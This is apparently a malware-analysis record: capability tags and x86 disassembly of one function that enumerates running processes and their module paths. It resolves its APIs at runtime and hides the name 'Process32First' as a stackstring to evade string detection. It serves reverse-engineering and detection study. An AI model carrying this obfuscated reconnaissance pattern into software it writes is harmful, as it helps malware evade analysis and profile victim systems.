Function at 0x40a4b0
Capabilities:
Acquire debug privileges
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
sub esp, 0x260
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32_LoadLibraryA]
push esi
push edi
push str.LocalReAlloc
push 0x418010
call ebp
mov ebx, dword [sym.imp.KERNEL32_GetProcAddress]
push eax
call ebx
push 0x4183a8
push 0x4180e8
mov dword [esp + 0x3c], eax
call ebp
push eax
call ebx
push str.LocalSize
push 0x418010
mov dword [esp + 0x18], eax
call ebp
push eax
call ebx
mov dword [esp + 0x3c], eax
xor esi, esi
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x48]
mov dword [esp + 0x44], esi
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x16d]
mov byte [esp + 0x16c], al
push 1
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x418804
mov dword [esp + 0x34], esi
stosb byte es:[edi], al
call fcn.0040a7c0
add esp, 8
push str.CreateToolhelp32Snapshot
push 0x418010
call ebp
push eax
call ebx
push esi
push 2
call eax
mov esi, eax
cmp esi, 0xffffffff
mov dword [esp + 0x30], esi
jne 0x40a569
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x260
ret
push str.Process32Next
push 0x418010
mov dword [esp + 0x4c], 0x128
call ebp
push eax
call ebx
push 0x400
push 0x40
mov dword [esp + 0x40], eax
call dword [esp + 0x18]
mov dword [esp + 0x14], eax
mov byte [eax], 0x7d
mov al, 0x73
mov cl, 0x72
mov byte [esp + 0x1d], al
mov byte [esp + 0x1e], al
mov byte [esp + 0x24], al
lea eax, [esp + 0x18]
push eax
push 0x418010
mov edi, 1
mov byte [esp + 0x20], 0x50
mov byte [esp + 0x21], cl
mov byte [esp + 0x22], 0x6f
mov byte [esp + 0x23], 0x63
mov byte [esp + 0x24], 0x65
mov byte [esp + 0x27], 0x33
mov byte [esp + 0x28], 0x32
mov byte [esp + 0x29], 0x46
mov byte [esp + 0x2a], 0x69
mov byte [esp + 0x2b], cl
mov byte [esp + 0x2d], 0x74
mov byte [esp + 0x2e], 0
call ebp
push eax
call ebx
lea ecx, [esp + 0x44]
push ecx
push esi
call eax
test eax, eax
je 0x40a783
push 0x4192ac
push 0x418010
call ebp
push eax
call ebx
mov edx, dword [esp + 0x4c]
push edx
push 0
push 0x410
call eax
mov esi, eax
mov eax, dword [esp + 0x4c]
test eax, eax
je 0x40a769
cmp eax, 4
je 0x40a769
cmp eax, 8
je 0x40a769
push str.EnumProcessModules
push str.PSAPI.DLL
call ebp
push eax
call ebx
push str.GetModuleFileNameExA
push str.PSAPI.DLL
mov dword [esp + 0x18], eax
call ebp
push eax
call ebx
mov dword [esp + 0x28], eax
lea eax, [esp + 0x40]
push eax
lea ecx, [esp + 0x30]
push 4
push ecx
push esi
call dword [esp + 0x20]
mov eax, dword [esp + 0x2c]
lea edx, [esp + 0x16c]
push 0x104
push edx
push eax
push esi
call dword [esp + 0x38]
mov esi, dword [sym.imp.KERNEL32_lstrlenA]
lea ecx, [esp + 0x68]
push ecx
call esi
mov edx, eax
lea eax, [esp + 0x16c]
push eax
mov dword [esp + 0x2c], edx
call esi
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x14]
push edx
lea eax, [ecx + eax + 6]
lea esi, [eax + edi]
call dword [esp + 0x40]
cmp eax, esi
jae 0x40a6d4
mov eax, dword [esp + 0x14]
push 0x42
push esi
push eax
call dword [esp + 0x40]
mov dword [esp + 0x14], eax
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x4c]
lea eax, [esp + 0x68]
mov dword [edi + edx], ecx
add edi, 4
push eax
mov dword [esp + 0x14], edi
call dword [sym.imp.KERNEL32_lstrlenA]
mov edx, dword [esp + 0x14]
mov ecx, eax
inc ecx
lea esi, [esp + 0x68]
mov eax, ecx
add edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32_lstrlenA]
lea ecx, [esp + 0x68]
push ecx
call esi
mov edx, dword [esp + 0x10]
lea edi, [edx + eax + 1]
lea eax, [esp + 0x16c]
push eax
mov dword [esp + 0x14], edi
call esi
mov edx, dword [esp + 0x14]
mov ecx, eax
inc ecx
lea esi, [esp + 0x16c]
mov eax, ecx
add edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x16c]
push ecx
call dword [sym.imp.KERNEL32_lstrlenA]
mov edx, dword [esp + 0x10]
lea eax, [edx + eax + 1]
mov dword [esp + 0x10], eax
mov edi, eax
mov edx, dword [esp + 0x30]
lea ecx, [esp + 0x44]
push ecx
push edx
call dword [esp + 0x40]
test eax, eax
jne 0x40a604
mov esi, dword [esp + 0x30]
mov eax, dword [esp + 0x14]
push 0x42
push edi
push eax
call dword [esp + 0x40]
push 0
push 0x418804
mov edi, eax
call fcn.0040a7c0
add esp, 8
push esi
call dword [sym.imp.KERNEL32_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x260
ret